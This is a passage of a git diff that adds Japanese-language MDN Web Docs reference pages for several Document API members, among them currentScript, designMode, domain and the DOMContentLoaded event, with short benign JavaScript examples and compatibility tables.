オブジェクトを含みます。</dd> +</dl> + +<h2 id="Example" name="Example">例</h2> + +<p>この例は、 {{DOMxRef("Document.createTouchList()")}} メソッドを使用して {{DOMxRef("TouchList")}} オブジェクトを生成する様子を紹介しています。</p> + +<p>以下のコードスニペットでは、いくつかの {{DOMxRef("Touch")}} オブジェクトがタッチ点と共に <code>target</code> 要素に生成され、 {{DOMxRef("TouchList")}} オブジェクトを作成するために使用されます。</p> + +<pre class="brush: js notranslate">var target = document.getElementById("target"); + +// Create some touch points +var touch1 = document.createTouch(window, target, 1, 15, 20, 35, 40); +var touch2 = document.createTouch(window, target, 2, 25, 30, 45, 50); + +// Create an empty TouchList objects +var list0 = document.createTouchList(); + +// Create a TouchList with only one Touch object +var list1 = document.createTouchList(touch1); + +// Create a list with two Touch objects +var list2 = document.createTouchList(touch1, touch2); +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Touch Events", "#widl-Document-createTouchList-TouchList-Touch-touches", "Document.createTouchList()")}}</td> + <td>{{Spec2("Touch Events")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.createTouchList")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/API/Touch_events">タッチイベント</a></li> + <li>{{DOMxRef("Touch")}}</li> + <li>{{DOMxRef("TouchEvent")}}</li> + <li>{{DOMxRef("TouchList")}}</li> + <li>{{DOMxRef("Document.createTouch()")}}</li> +</ul> diff --git a/files/ja/web/api/document/currentscript/index.html b/files/ja/web/api/document/currentscript/index.html new file mode 100644 index 0000000000..0a7f43faee --- /dev/null +++ b/files/ja/web/api/document/currentscript/index.html @@ -0,0 +1,68 @@ +--- +title: Document.currentScript +slug: Web/API/Document/currentScript +tags: + - API + - DOM + - Document + - Property + - Reference + - プロパティ +translation_of: Web/API/Document/currentScript +--- +<p>{{APIRef("DOM")}}</p> + +<p><code><strong>Document.currentScript</strong></code> プロパティは、現在処理中で、 <a href="https://github.com/whatwg/html/issues/997">JavaScript モジュールではない</a>スクリプトの {{HTMLElement("script")}} 要素を返します。 (モジュールの場合は代わりに {{JSxRef("Statements/import%2Emeta", "import.meta")}} を使用してください。</p> + +<p>重要なことですが、スクリプト内のコードがコールバックまたはイベントハンドラーとして呼び出されている場合は、 {{HTMLElement("script")}} 要素を参照しないことに注意してください。初期化時に処理されている要素のみを参照します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>curScriptElement</var> = <var>document</var>.currentScript; +</pre> + +<h2 id="Example" name="Example">例</h2> + +<p>次の例では、スクリプトが非同期で実行されているかどうかをチェックしています。</p> + +<pre class="brush:js notranslate">if (document.currentScript.async) { + console.log("非同期で実行中"); +} else { + console.log("同期で実行中"); +}</pre> + +<p><a href="/samples/html/currentScript.html">実際の表示を確認</a></p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.currentScript")}}</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{JSxRef("Statements/import%2Emeta", "import.meta")}}</li> + <li>{{HTMLElement("script")}}</li> + <li>{{DOMxRef("document.onafterscriptexecute")}}</li> + <li>{{DOMxRef("document.onbeforescriptexecute")}}</li> +</ul> diff --git a/files/ja/web/api/document/cut_event/index.html b/files/ja/web/api/document/cut_event/index.html new file mode 100644 index 0000000000..eb69508411 --- /dev/null +++ b/files/ja/web/api/document/cut_event/index.html @@ -0,0 +1,76 @@ +--- +title: 'Document: cut イベント' +slug: Web/API/Document/cut_event +tags: + - API + - Clipboard API + - Cut + - Document + - Event + - Reference + - Web +translation_of: Web/API/Document/cut_event +--- +<div>{{APIRef}}</div> + +<p><span class="seoSummary"><strong><code>cut</code></strong> イベントは、ユーザーがブラウザーのユーザーインターフェイスから切り取り操作を実行したときに発生します。</span></p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>可</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("ClipboardEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("HTMLElement/oncut", "oncut")}}</td> + </tr> + </tbody> +</table> + +<p>このイベントの本来の対象は、切り取り操作の意図の対象である {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントの局面について完全な詳細は、 <a href="/ja/docs/Web/API/Element/cut_event">Element: cut イベント</a>を参照してください。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<pre class="brush: js">document.addEventListener('cut', (event) => { + console.log('cut action initiated') +});</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Clipboard API', '#clipboard-event-cut')}}</td> + <td>{{Spec2('Clipboard API')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.cut_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>関連イベント: {{domxref("Document/copy_event", "copy")}}, {{domxref("Document/paste_event", "paste")}}</li> + <li>{{domxref("Element")}} を対象としたこのイベント: {{domxref("Element/cut_event", "cut")}}</li> + <li>{{domxref("Document")}} を対象としたこのイベント: {{domxref("Document/cut_event", "cut")}}</li> +</ul> diff --git a/files/ja/web/api/document/defaultview/index.html b/files/ja/web/api/document/defaultview/index.html new file mode 100644 index 0000000000..e483791781 --- /dev/null +++ b/files/ja/web/api/document/defaultview/index.html @@ -0,0 +1,97 @@ +--- +title: document.defaultView +slug: Web/API/Document/defaultView +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/defaultView +--- +<div>{{ApiRef}}</div> + +<p>ブラウザーにおいて、<strong><code>document.defaultView</code></strong> はドキュメントに関連付けられている {{domxref("window")}} オブジェクトを返します。もし存在しない場合は <code>null</code> を返します。</p> + +<h2 id="例">例</h2> + +<pre class="syntaxbox">var <var>win</var> = document.defaultView; +</pre> + +<p>このプロパティは読み取り専用です。</p> + +<h2 id="仕様">仕様</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様</th> + <th scope="col">状態</th> + <th scope="col">コメント</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-defaultview', 'Document.defaultView')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>変更なし</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'browsers.html#dom-document-defaultview', 'Document.defaultView')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>初期の定義</td> + </tr> + </tbody> +</table> + +<h2 id="ブラウザー互換性">ブラウザー互換性</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>機能</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Internet Explorer</th> + <th>Edge</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>基本サポート</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatIE("9.0")}}</td> + <td>0.10</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>機能</th> + <th>Firefox Mobile (Gecko)</th> + <th>Android</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>基本サポート</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/ja/web/api/document/designmode/index.html b/files/ja/web/api/document/designmode/index.html new file mode 100644 index 0000000000..eddd563a7b --- /dev/null +++ b/files/ja/web/api/document/designmode/index.html @@ -0,0 +1,66 @@ +--- +title: Document.designMode +slug: Web/API/Document/designMode +tags: + - API + - DOM + - Document + - HTML DOM + - Property + - Reference + - designmode + - editor + - エディター +translation_of: Web/API/Document/designMode +--- +<div>{{ApiRef()}}</div> + +<p><strong><code>document.designMode</code></strong> は、文書全体を編集可能にするかどうかを制御します。妥当な値は <code>"on"</code> および <code>"off"</code> です。仕様書では、このプロパティの既定値は <code>"off"</code> です。 Firefox はこの標準仕様に従っています。初期のバージョンの Chrome や IE は既定で <code>"inherit"</code> です。 Chrome 43 以降では、既定値は <code>"off"</code> であり、 <code>"inherit"</code> には対応しなくなりました。 IE6～10 では、値が大文字です。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var mode = document.designMode; +document.designMode = <em>value</em>;</pre> + +<h3 id="Value" name="Value">値</h3> + +<p><code>designMode</code> が on または off のどちらに設定されているか (または設定するか) を示す文字列です。有効な値は <code>on</code> および <code>off</code> です。</p> + +<h2 id="Example" name="Example">例</h2> + +<p>{{HTMLElement("iframe")}} の文書を編集可能にします。</p> + +<pre class="brush: js">iframeNode.contentDocument.designMode = "on"; +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.designMode")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/docs/Rich-Text_Editing_in_Mozilla">Mozilla におけるリッチテキスト編集</a></li> + <li>{{domxref("HTMLElement.contentEditable")}}</li> +</ul> diff --git a/files/ja/web/api/document/dir/index.html b/files/ja/web/api/document/dir/index.html new file mode 100644 index 0000000000..5f3af5bff7 --- /dev/null +++ b/files/ja/web/api/document/dir/index.html @@ -0,0 +1,51 @@ +--- +title: Document.dir +slug: Web/API/Document/dir +tags: + - API + - Document + - HTML DOM + - Reference + - プロパティ +translation_of: Web/API/Document/dir +--- +<div>{{ApiRef("HTML DOM")}}</div> + +<p><code><strong>Document.dir</strong></code> プロパティは {{domxref("DOMString")}} で、文書のテキストの書字方向が、左書き (既定) か右書きかを表します。有効な値は <code>'rtl'</code> 右書き (右から左)、または <code>'ltr'</code> 左書き (左から右) です。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><em>dirStr</em> = <em>document</em>.dir +<em>document</em>.dir = <em>dirStr</em> +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "#dom-document-dir", "Document.dir")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<p class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</p> + +<p>{{Compat("api.Document.dir")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/HTML/Global_attributes/dir"><code>dir</code></a> グローバル属性</li> +</ul> diff --git a/files/ja/web/api/document/doctype/index.html b/files/ja/web/api/document/doctype/index.html new file mode 100644 index 0000000000..b5dab6bcea --- /dev/null +++ b/files/ja/web/api/document/doctype/index.html @@ -0,0 +1,66 @@ +--- +title: Document.doctype +slug: Web/API/Document/doctype +tags: + - API + - DOCTYPE + - DOM + - Document + - Reference + - プロパティ +translation_of: Web/API/Document/doctype +--- +<div>{{ApiRef("DOM")}}</div> + +<p>現在の文書に関連付けられた<ruby>文書型宣言<rp> (</rp><rt>Document Type Declaration</rt><rp>)</rp></ruby> (DTD) を返します。返されるオブジェクトは、 {{domxref("DocumentType")}} インターフェイスを持ちます。 <code>DocumentType</code> を生成するには {{domxref("DOMImplementation.createDocumentType()")}} を使用してください。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>doctype</var> = <var>document</var>.doctype; +</pre> + +<ul> + <li><code>doctype</code> : 読み取り専用のプロパティです。</li> +</ul> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js">var doctypeObj = document.doctype; + +console.log( + "doctypeObj.name: " + doctypeObj.name + "\n" + + "doctypeObj.internalSubset: " + doctypeObj.internalSubset + "\n" + + "doctypeObj.publicId: " + doctypeObj.publicId + "\n" + + "doctypeObj.systemId: " + doctypeObj.systemId +);</pre> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p>現在の文書に関連付けられている DTD が存在しないは <code>null</code> が返されます。</p> + +<p>DOM レベル 2 では、文書型宣言の編集に対応していません。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-doctype', 'Document: doctype')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.doctype")}}</p> diff --git a/files/ja/web/api/document/document/index.html b/files/ja/web/api/document/document/index.html new file mode 100644 index 0000000000..6b7da7b806 --- /dev/null +++ b/files/ja/web/api/document/document/index.html @@ -0,0 +1,44 @@ +--- +title: Document() +slug: Web/API/Document/Document +tags: + - API + - DOM + - Document + - Reference + - コンストラクター +translation_of: Web/API/Document/Document +--- +<div>{{APIRef}}</div> + +<p><strong><code>Document</code></strong> コンストラクターは、ブラウザーに読み込まれたウェブページである {{domxref("Document")}} オブジェクトを新たに生成し、そのページの内容へのエントリーポイントを提供します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">new Document(); +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG','#dom-document-document','Document')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.Document")}}</div> diff --git a/files/ja/web/api/document/documentelement/index.html b/files/ja/web/api/document/documentelement/index.html new file mode 100644 index 0000000000..7e8892364d --- /dev/null +++ b/files/ja/web/api/document/documentelement/index.html @@ -0,0 +1,62 @@ +--- +title: Document.documentElement +slug: Web/API/Document/documentElement +tags: + - API + - DOM + - Document + - Node + - Reference + - documentElement + - root + - プロパティ +translation_of: Web/API/Document/documentElement +--- +<div>{{ApiRef("DOM")}}</div> + +<p><strong><code>Document.documentElement</code></strong> は、その {{domxref("document")}} のルート要素 (例えば、 HTML 文書の場合は {{HTMLElement("html")}} 要素) である {{domxref("Element")}} を返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">const <var>element</var> = document.documentElement +</pre> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js">const rootElement = document.documentElement; +const firstTier = rootElement.childNodes; +// firstTier は <head> や <body> などの +// ルート要素の直接の子である NodeList + +for (const child of firstTier) { + // ルート要素のそれぞれの直接の子に対する処理 +}</pre> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p>空ではない HTML 文章の場合、 <code>documentElement</code> は常に {{HTMLElement("html")}} 要素を返します。空ではない XML 文章の場合、 <code>documentElement</code> は常に文章のルート要素である何らかの要素を返します。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.documentElement")}}</p> diff --git a/files/ja/web/api/document/documenturi/index.html b/files/ja/web/api/document/documenturi/index.html new file mode 100644 index 0000000000..f8d2d03e81 --- /dev/null +++ b/files/ja/web/api/document/documenturi/index.html @@ -0,0 +1,57 @@ +--- +title: Document.documentURI +slug: Web/API/Document/documentURI +tags: + - API + - DOM + - Document + - Property + - Reference + - Web + - プロパティ +translation_of: Web/API/Document/documentURI +--- +<div>{{ApiRef("DOM")}}</div> + +<p>{{domxref("Document")}} インターフェイスの <code><strong>documentURI</strong></code> プロパティは、文書の位置を文字列で返します。</p> + +<p>もともと DOM3 で定義されたときは、この属性は読み書きできました。最新の DOM 標準では読み取り専用です。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>string</var> = document.documentURI; +</pre> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p>{{domxref("document.URL")}} プロパティも持つ文書では、同じ値を返します。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-documenturi','documentURI')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.documentURI")}}</p> diff --git a/files/ja/web/api/document/documenturiobject/index.html b/files/ja/web/api/document/documenturiobject/index.html new file mode 100644 index 0000000000..fa5602c622 --- /dev/null +++ b/files/ja/web/api/document/documenturiobject/index.html @@ -0,0 +1,46 @@ +--- +title: Document.documentURIObject +slug: Web/API/Document/documentURIObject +tags: + - API + - DOM + - Non-standard + - Reference + - プロパティ + - 標準外 +translation_of: Web/API/Document/documentURIObject +--- +<div>{{ApiRef("DOM")}}{{Non-standard_header}}</div> + +<p><span class="seoSummary"><code><strong>Document.documentURIObject</strong></code> プロパティは読み取り専用で、 <a href="/ja/docs/Web/API/document">document</a> の URI を表す {{Interface("nsIURI")}} オブジェクトを返します。</span></p> + +<p>このプロパティは、拡張機能のコードなどの (UniversalXPConnect) 特権を持つスクリプトでのみ機能します。ウェブコンテンツではこのプロパティは特別な意味を持たず、他のカスタムプロパティと同様に扱うことしかできません。</p> + +<p>特権コードでは、(<code><a href="/ja/XPCNativeWrapper">XPCNativeWrapper</a></code> の <code>wrappedJSObject</code> などの) ラップされていないコンテンツオブジェクトに対してこのプロパティを取得または設定しないように注意しなければなりません。詳しくは {{Bug(324464)}} のコメントを参照して下さい。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>uri</var> = <var>document</var>.documentURIObject; +</pre> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js">// Firefox の現在のタブの URI スキームが "http" かどうか調べる +// このコードは browser.xul のコンテキストで実行されるものとする +var uriObj = content.document.documentURIObject; +var uriPort = uriObj.port; + +if (uriObj.schemeIs('http')) { + ... +} +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<p>どの仕様にも属しません。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.documentURIObject")}}</p> diff --git a/files/ja/web/api/document/domain/index.html b/files/ja/web/api/document/domain/index.html new file mode 100644 index 0000000000..1e5ac86be5 --- /dev/null +++ b/files/ja/web/api/document/domain/index.html @@ -0,0 +1,91 @@ +--- +title: Document.domain +slug: Web/API/Document/domain +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/domain +--- +<div>{{ApiRef}}</div> + +<p>{{domxref("Document")}} インターフェイスの <strong><code>domain</code></strong> プロパティは、<a href="/ja/docs/Web/Security/Same-origin_policy">同一オリジンポリシー</a>で使用される現在の文書の{{glossary("origin", "オリジン")}}のうち、ドメインの部分を取得または設定します。</p> + +<p>このプロパティが正常に設定されると、オリジンのポート番号の部分も {{jsxref("null")}} に設定されます。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">const <var>domainString</var> = <var>document</var>.domain +<var>document</var>.domain = <var>domainString</var></pre> + +<h3 id="Value" name="Value">値</h3> + +<p>現在の文書のオリジンのうち、ドメインの部分です。</p> + +<h3 id="Exceptions" name="Exceptions">例外</h3> + +<dl> + <dt><code>SecurityError</code></dt> + <dd>以下の状況のうちの一つで、 <code>domain</code> を設定することが試みられた。 + <ul> + <li>文書がサンドボックス化された {{htmlelement("iframe")}} の中にある場合</li> + <li>文書に{{glossary("browsing context", "閲覧コンテキスト")}}がない場合</li> + <li>文書の<a href="https://html.spec.whatwg.org/multipage/origin.html#concept-origin-effective-domain">影響ドメイン</a>が <code>null</code> の場合</li> + <li>指定された値が文書の影響ドメインと一致しない (または登録可能なドメインの接頭辞ではない) 場合</li> + <li>{{HTTPHeader("Feature-Policy")}} の {{httpheader('Feature-Policy/document-domain','document-domain')}} が有効の場合</li> + </ul> + </dd> +</dl> + +<h2 id="Examples" name="Examples">例</h2> + +<h3 id="Getting_the_domain" name="Getting_the_domain">ドメイン名の取得</h3> + +<p><code>http://developer.mozilla.org/en-US/docs/Web</code> の URI において、この例は <code>currentDomain</code> に "<code>developer.mozilla.org</code>" の文字列を設定します。</p> + +<pre class="brush:js notranslate">const currentDomain = document.domain;</pre> + +<h3 id="Closing_a_window" name="Closing_a_window">ウィンドウを閉じる</h3> + +<p>文書が <code>www.example.xxx/good.html</code> のような "<code>www.example.xxx</code>" のドメインを持つ場合、この例はウィンドウを閉じようとします。</p> + +<pre class="brush:js notranslate">const badDomain = "www.example.xxx"; + +if (document.domain === badDomain) { + // 単なる例: window.close() は効果がないことがある + window.close(); +} +</pre> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.domain")}}</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/Security/Same-origin_policy">同一オリジンポリシー</a></li> +</ul> diff --git a/files/ja/web/api/document/domcontentloaded_event/index.html b/files/ja/web/api/document/domcontentloaded_event/index.html new file mode 100644 index 0000000000..6b967b149a --- /dev/null +++ b/files/ja/web/api/document/domcontentloaded_event/index.html @@ -0,0 +1,190 @@ +--- +title: 'Document: DOMContentLoaded イベント' +slug: Web/API/Document/DOMContentLoaded_event +tags: + - API + - DOMContentLoaded + - Document + - Event + - Web +translation_of: Web/API/Document/DOMContentLoaded_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>DOMContentLoaded</code></strong> イベントは、 HTML の初期文書が完全に読み込まれ解釈された時点で発生し、スタイルシート、画像、サブフレームの読み込みが完了するのを待ちません。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">バブリング</th> + <td>あり</td> + </tr> + <tr> + <th scope="row">キャンセル</th> + <td>可 (ただし、キャンセル可能ではない単純イベントとして定義されている)</td> + </tr> + <tr> + <th scope="row">インターフェイス</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>なし</td> + </tr> + </tbody> +</table> + +<p>別なイベントである {{domxref("Window/load_event", "load")}} は、ページ全体が読み込まれたときにのみ使用します。 <code>load</code> を <code>DOMContentLoaded</code> がより適切である場面で使ってしまうことがよくある誤りです。</p> + +<p>同期 JavaScript は DOM の解析をいったん中断します。ユーザーがページをリクエストした後でできるだけ早く DOM が解析されるようにしたい場合は、 <a href="/ja/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests">JavaScript を非同期に</a>して、<a href="https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery">スタイルシートの読み込みを最適化</a>してください。ふつう通りに読み込むと、スタイルシートは HTML と並行で読み込まれ、中心となる HTML 文書の帯域を「盗む」ため、ふつう通りに読み込むと DOM 解析の速度を低下させます。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<h3 id="Basic_usage" name="Basic_usage">基本的な使用</h3> + +<pre class="brush: js notranslate">document.addEventListener('DOMContentLoaded', (event) => { + console.log('DOM fully loaded and parsed'); +}); +</pre> + +<h3 id="Delaying_DOMContentLoaded" name="Delaying_DOMContentLoaded">DOMContentLoaded の遅延</h3> + +<pre class="brush: html notranslate"><script> + document.addEventListener('DOMContentLoaded', (event) => { + console.log('DOM fully loaded and parsed'); + }); + +for( let i = 0; i < 1000000000; i++) +{} // This synchronous script is going to delay parsing of the DOM, + // so the DOMContentLoaded event is going to launch later. +</script> +</pre> + +<h3 id="Checking_whether_loading_is_already_complete" name="Checking_whether_loading_is_already_complete">読み込みが完了しているかどうかのチェック</h3> + +<p><code>DOMContentLoaded</code> はスクリプト実行の機会がある前に発生することがあるため、リスナーを追加する前にチェックするのが賢明です。</p> + +<pre class="brush: js notranslate">function doSomething() { + console.info('DOM loaded'); +} + +if (document.readyState === 'loading') { // Loading hasn't finished yet + document.addEventListener('DOMContentLoaded', doSomething); +} else { // `DOMContentLoaded` has already fired + doSomething(); +} +</pre> + +<h3 id="Live_example" 